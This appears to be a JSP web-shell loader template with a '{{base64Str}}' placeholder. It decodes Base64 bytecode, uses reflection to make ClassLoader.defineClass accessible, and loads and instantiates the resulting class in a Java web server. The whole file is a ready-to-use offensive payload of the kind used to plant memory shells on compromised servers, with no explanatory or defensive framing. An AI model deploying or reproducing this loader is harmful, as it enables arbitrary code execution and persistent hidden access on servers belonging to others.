<% String base64Str = "{{base64Str}}"; byte[] bytecode = null; try { Class base64Clz = Class.forName("java.util.Base64"); Object decoder = base64Clz.getMethod("getDecoder").invoke(null); bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (ClassNotFoundException ee) { Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter"); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str); } java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); clazz.newInstance(); %>